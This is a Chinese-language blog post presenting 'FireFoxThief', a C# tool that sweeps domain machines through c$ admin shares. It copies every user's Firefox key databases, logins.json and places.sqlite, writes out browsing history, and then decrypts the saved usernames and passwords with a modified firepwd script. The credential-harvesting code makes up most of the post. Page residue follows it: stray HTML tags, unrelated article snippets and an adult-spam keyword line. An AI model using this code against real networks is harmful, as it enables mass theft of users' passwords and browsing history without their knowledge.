<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    firefox批量get password

    VSole2022-08-23 15:56:55

    0x01 前置

    firefox配置記錄在%APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\,其中X為8位隨機符,后面有可能跟了一些字符。

    在域內批量導出firefox瀏覽器配置文件,然后改了下firepwd自動化讀取文件。

    firefox版本小于32沒寫,如果需要可以自行在代碼里面添加如下代碼。

    string firefox_signons = "signons.sqlite";
    string firefox_signons_path = FindFile(ProfilePathss, firefox_signons);
    if (firefox_signons_path != "")
    {
        Console.ForegroundColor = ConsoleColor.Green;
        Console.WriteLine("[+]" + firefox_signons_path);
        Console.WriteLine("[*]version > 58.0.2");
        Console.ForegroundColor = ConsoleColor.White;
        //copy file
        string signons_file_path_cuurent = UserFolder + "\\" + firefox_signons;
        StreamWriter signons_file_cuurent = File.CreateText(signons_file_path_cuurent);
        signons_file_cuurent.Close();
        bool isrewrite = true;
        File.Copy(firefox_signons_path, signons_file_path_cuurent, isrewrite);
    }
    

    0x02 批量判斷

    首先讀取machine.txt然后判斷是否存活接著批量判斷是否存在配置文件,然后在本地創建機器名用戶名以及對應的配置文件。

    1.存活判斷(面向百度)

    public static bool IsMachineUp(string hostName)
    {
        bool retVal = false;
        try
        {
            Ping pingSender = new Ping();
            PingOptions options = new PingOptions();
            // Use the default Ttl value which is 128,
            // but change the fragmentation behavior.
            options.DontFragment = true;
            // Create a buffer of 32 bytes of data to be transmitted.
            string data = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
            byte[] buffer = Encoding.ASCII.GetBytes(data);
            int timeout = 800;
            PingReply reply = pingSender.Send(hostName, timeout, buffer, options);
            if (reply.Status == IPStatus.Success)
            {
                retVal = true;
            }
        }
        catch (Exception ex)
        {
            retVal = false;
            //Console.ForegroundColor = ConsoleColor.Red;
            //Console.WriteLine("[-]" + ex.Message);
            //Console.ForegroundColor = ConsoleColor.White;
        }
        return retVal;
    }
    

    讀取machine.txt然后丟給IsMachineUp方法

    如果機器存活,在本機創建FireFoxInfo目錄

    string currentpath = Directory.GetCurrentDirectory();
    FireFoxInfo = currentpath + "\\FireFoxInfo";
    Directory.CreateDirectory(FireFoxInfo);
    Console.ForegroundColor = ConsoleColor.Red;
    Console.WriteLine("[*]" + machine);
    Console.ForegroundColor = ConsoleColor.White;
    

    然后獲取c:\users\目錄下的用戶目錄再判斷firefox配置文件是否存在與改用戶目錄,如果存在則在本地繼續創建對應的用戶目錄,方便于區分

    string userpath = @"\\" + machine + @"\c$\users";
    var user_list = Directory.EnumerateDirectories(userpath);
    foreach (string user in user_list)
    {
        string username = substring(user);
        string ProfilePathss = user + "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles";
        if (Directory.Exists(ProfilePathss))
        {
            Console.ForegroundColor = ConsoleColor.Yellow;
            Console.WriteLine("[*]" + user);
            Console.ForegroundColor = ConsoleColor.White;
            //create machine directory
            string MachineFolder = FireFoxInfo + "\\" + machine;
            Directory.CreateDirectory(MachineFolder);
            //create user direcotry
            string UserFolder = MachineFolder + "\\" + username;
            Directory.CreateDirectory(UserFolder);
    

    接下來我們需要判斷是否存在一下文件

    Firefox 版本 <32 (key3.db, signons.sqlite) Firefox 版本 >=32 (key3.db, logins.json) Firefox 版本 >=58.0.2 (key4.db, logins.json) Firefox 版本 >=75.0 (sha1 pbkdf2 sha256 aes256 cbc used by key4.db, logins.json)
    string old_firefox_key = "key3.db";
    string firefox_key = "key4.db";
    string firefox_json = "logins.json";
    string firefox_cookie = "places.sqlite";
    

    跟到FindFile方法。

    public static string FindFile(string filePath, string fileName)
    {
        string returnstr = "";
        DirectoryInfo[] dateDirArr = new DirectoryInfo(filePath).GetDirectories();
        foreach (DirectoryInfo directoryInfo in dateDirArr)
        {
            //Console.WriteLine(directoryInfo);
            string Directoryfullpath = filePath + "\\" + directoryInfo;
            string Filefullpath = Directoryfullpath + "\\" + fileName;
            if (!File.Exists(Filefullpath))
            {
                FindFile(Directoryfullpath, fileName);
            }
            else
            {
                returnstr =  Filefullpath;
            }
        }
        return returnstr;
    }
    

    遍歷目錄以及子目錄,如果存在則返回全路徑,反正返回空。

    0x03 歷史記錄

    歷史記錄存在與places.sqlite庫的moz_places表里面

    所以我們在當前用戶目錄創建文件夾然后創建history.txt記錄值,不要忘記關閉打開的sqlite數據庫。

    if (firefox_cookie_path != "")
    {
        //copy
        string cookie_path_current = UserFolder + "\\" + firefox_cookie;
        StreamWriter cookue_file_cuurent = File.CreateText(cookie_path_current);
        cookue_file_cuurent.Close();
        bool isrewrite = true;
        File.Copy(firefox_cookie_path, cookie_path_current, isrewrite);
        SQLiteConnection connect = new SQLiteConnection(@"Data Source=" + cookie_path_current);
        connect.Open();
        string sql = "select  * from moz_places";
        SQLiteCommand command = new SQLiteCommand(sql, connect);
        command.CommandType = CommandType.Text;
        SQLiteDataReader r = command.ExecuteReader();
        string gethistorypath = UserFolder + "\\history.txt";
        StreamWriter history = File.CreateText(gethistorypath);
        history.Close();
        string HistoryMemberof = "user:" + username + "\r\n\r\n";
        File.AppendAllText(gethistorypath, HistoryMemberof);
        while (r.Read())
        {
            string url = Convert.ToString(r["url"]);
            string title = Convert.ToString(r["title"]);
            string description = Convert.ToString(r["description"]);;
            string out_string = "url:"+url + "\r\n" + "title:"+title + "\r\n";
            File.AppendAllText(gethistorypath, out_string);
        }
        connect.Close();
        
    }
    

    0x04 下載db和json

    同理直接下載json文件和db文件。我們可以打開看看logins.json文件內容。

    這里引用文章:https://www.cnblogs.com/unicodeSec/p/14875364.html

    Firefox 版本 >= 58.0.2 < 75
    根據上述的描述,解密Firefox存儲在本地的登錄信息需要以下步驟:
    找到當前計算機Firefox的profile目錄,檢查key4.db和logins.json文件是否存在。
    如果存在,從key4.db中提取已編碼+加密的password-check數據,先ASN1解碼然后使用3DES解密被加密的password-check字符串(這樣做是為了確認提取的密碼是否正確)。
    從key4.db中提取編碼的+加密的主密鑰 ,ASN.1解碼,然后3DES解密主密鑰。
    從logins.json中讀取加密的登錄名和密碼,ASN.1解碼,然后3DES使用主密鑰解密登錄數據
    Firefox 版本 >= 75
    和Firefox 版本 >= 58.0.2 < 75不同的是,在加密password-check數據和主密鑰使用了hmacWithSHA256的哈希算法和AES256 cbc的加密算法,所以解密步驟如下所示:
    根據上述的描述,解密Firefox存儲在本地的登錄信息需要以下步驟:
    找到當前計算機Firefox的profile目錄,檢查key4.db和logins.json文件是否存在。
    如果存在,從key4.db中提取已編碼+加密的password-check數據,先ASN1解碼然后使用AES解密被加密的password-check字符串(這樣做是為了確認提取的密碼是否正確)。
    從key4.db中提取編碼的+加密的主密鑰 ,ASN.1解碼,然后3DES解密主密鑰。
    從logins.json中讀取加密的登錄名和密碼,ASN.1解碼,然后3DES使用主密鑰解密登錄數據
    

    if (firefox_json_path != "" && firefox_key_path != "")
    {
        Console.ForegroundColor = ConsoleColor.Green;
        Console.WriteLine("[+]" + firefox_key_path);
        Console.WriteLine("[+]" + firefox_json_path);
        Console.WriteLine("[*]version >= 58.0.2");
        Console.ForegroundColor = ConsoleColor.White;
        //copy file
        string json_file_path_cuurent = UserFolder + "\\" + firefox_json;
        StreamWriter json_file_cuurent = File.CreateText(json_file_path_cuurent);
        json_file_cuurent.Close();
        bool isrewrite = true;
        File.Copy(firefox_json_path, json_file_path_cuurent, isrewrite);
        string firefox_key_path_cuurent = UserFolder + "\\" + firefox_key;
        StreamWriter firefox_key_cuurent = File.CreateText(firefox_key_path_cuurent);
        firefox_key_cuurent.Close();
        File.Copy(firefox_key_path, firefox_key_path_cuurent, isrewrite);
    }
    if (firefox_json_path != "" && firefox_old_key_path != "")
    {
        Console.ForegroundColor = ConsoleColor.Green;
        Console.WriteLine("[+]" + firefox_old_key_path);
        Console.WriteLine("[+]" + firefox_old_key_path);
        Console.WriteLine("[*]version > 58.0.2");
        Console.ForegroundColor = ConsoleColor.White;
        //copy file
        string json_file_path_cuurent = UserFolder + "\\" + firefox_json;
        StreamWriter json_file_cuurent = File.CreateText(json_file_path_cuurent);
        json_file_cuurent.Close();
        bool isrewrite = true;
        File.Copy(firefox_json_path, json_file_path_cuurent, isrewrite);
        string firefox_key_path_cuurent = UserFolder + "\\" + old_firefox_key;
        StreamWriter firefox_key_cuurent = File.CreateText(firefox_key_path_cuurent);
        firefox_key_cuurent.Close();
        File.Copy(firefox_old_key_path, firefox_key_path_cuurent, isrewrite);
    }
    

    執行效果

    0x05 解析密碼

    這里改的firepwd來自動解析我們的FireFoxInfo文件夾。修改下傳參即可

    target_path = []
    dir = "C:\\Users\\Administrator\\Desktop\\c#\\FireFoxThief\\FireFoxThief\\FireFoxThief\\bin\\Release\\FireFoxInfo\\"
    for root, dirs, files in os.walk(dir):
        for file in files:
            path = os.path.join(root,file)
            if("logins.json" in os.path.join(root,file)):
                path = path.replace("logins.json","")
                target_path.append(path)
    for i in target_path:
      print(i)
      key, algo = getKey(  options.masterPassword.encode(), Path(i) )
      if key==None:
        sys.exit()
      #print(hexlify(key))
      logins = getLoginData(i)
      if len(logins)==0:
        print ('no stored passwords')
      else:
        print ('decrypting login/password pairs' )
      if algo == '1.2.840.113549.1.12.5.1.3' or algo == '1.2.840.113549.1.5.13':  
        for i in logins:
          assert i[0][0] == CKA_ID
          print ('%20s:' % (i[2]),end='')  #site URL
          iv = i[0][1]
          ciphertext = i[0][2] 
          print ( unpad( DES3.new( key, DES3.MODE_CBC, iv).decrypt(ciphertext),8 ), end=',')
          iv = i[1][1]
          ciphertext = i[1][2] 
          print ( unpad( DES3.new( key, DES3.MODE_CBC, iv).decrypt(ciphertext),8 ) )
          print("\r\n")
    

    最后效果。

    string
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    如果你不是 Java8 的釘子戶,你應該早就發現了:String 類的源碼已經由 char[] 優化為了 byte[] 來存儲字符串內容,為什么要這樣做呢? 開門見山地說,從 char[] 到 byte[],最主要的目的是為了節省字符串占用的內存 。內存占用減少帶來的另外一個好處,就是 GC 次數也會減少。
    Adobe已經發布了一個名為Stringlifier的開源工具,該工具允許用戶識別任何純文本中隨機生成的字符串,該工具可用于清理日志。Stringlifier工具是用Python編寫的,它使用機器學習來識別插入普通文本中的隨機字符序列。開源工具可用于出于多種目的分析日志,例如研究意外暴露的憑證。Stringlifier能夠在源代碼或配置文件中查找API密鑰,哈希,隨機生成的字符串,包括密碼,日志。Adobe在Github上發布的描述中寫道。
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。本文分析 Runtime_StringToArray 方法的源碼和重要數據結構,講解 Runtime_StringToArray 方法的觸發條件。
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。
    通過common-collection相關gadget,想辦法調用org.mozilla.classfile.DefiningClassLoader這個類去加載字節碼。然后通過T3協議的反序列化漏洞發送給待攻擊weblogic服務器。
    舉個例子:但是對于64位的來說 ROPgadget預設的長度是不夠的。所以,我們可以使用ROPgadget --binary ./b --depth 100來加深他的搜索深度。2利用_libc_csu_init制造ROP常規方法我們前面說的利用ROPgadget來尋找,大多都是找到直接設置某個寄存器的rop,當然也可以使用--ropchain這個參數。
    一般情況下類與類之間是相互獨立的,內部類的意思就是打破這種獨立思想,讓一個類成為另一個類的內部信息,和成員變量、成員方法同等級別。「內部類的好處:」把一個類寫在外面和寫在里面最終達到的結果都一樣,那我們為什么還要使用內部類,豈不是多此一舉嗎?
    當被問及網絡間諜是否成功時,愛德華·斯金格表示,他非常有信心地確信,除了國防學院本身,沒有任何其他危害行為。斯金格接受采訪時透露,本次攻擊看起來不像是一次暴力攻擊,但有代價。國防學院立即意識到它可能已成為敵對國家在灰色地帶式網絡攻擊中的目標的可能性。官方迅速采取了行動,對更廣泛的國防部IT網絡沒有影響。
    java安全-02RMI
    2022-03-25 15:35:13
    基礎知識動態代理反射攻擊方式注冊端攻擊服務端java -cp .\ysoserial-master-8eb5
    MISC中常用python腳本
    2021-09-20 20:26:46
    MISC中常用python腳本總結
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类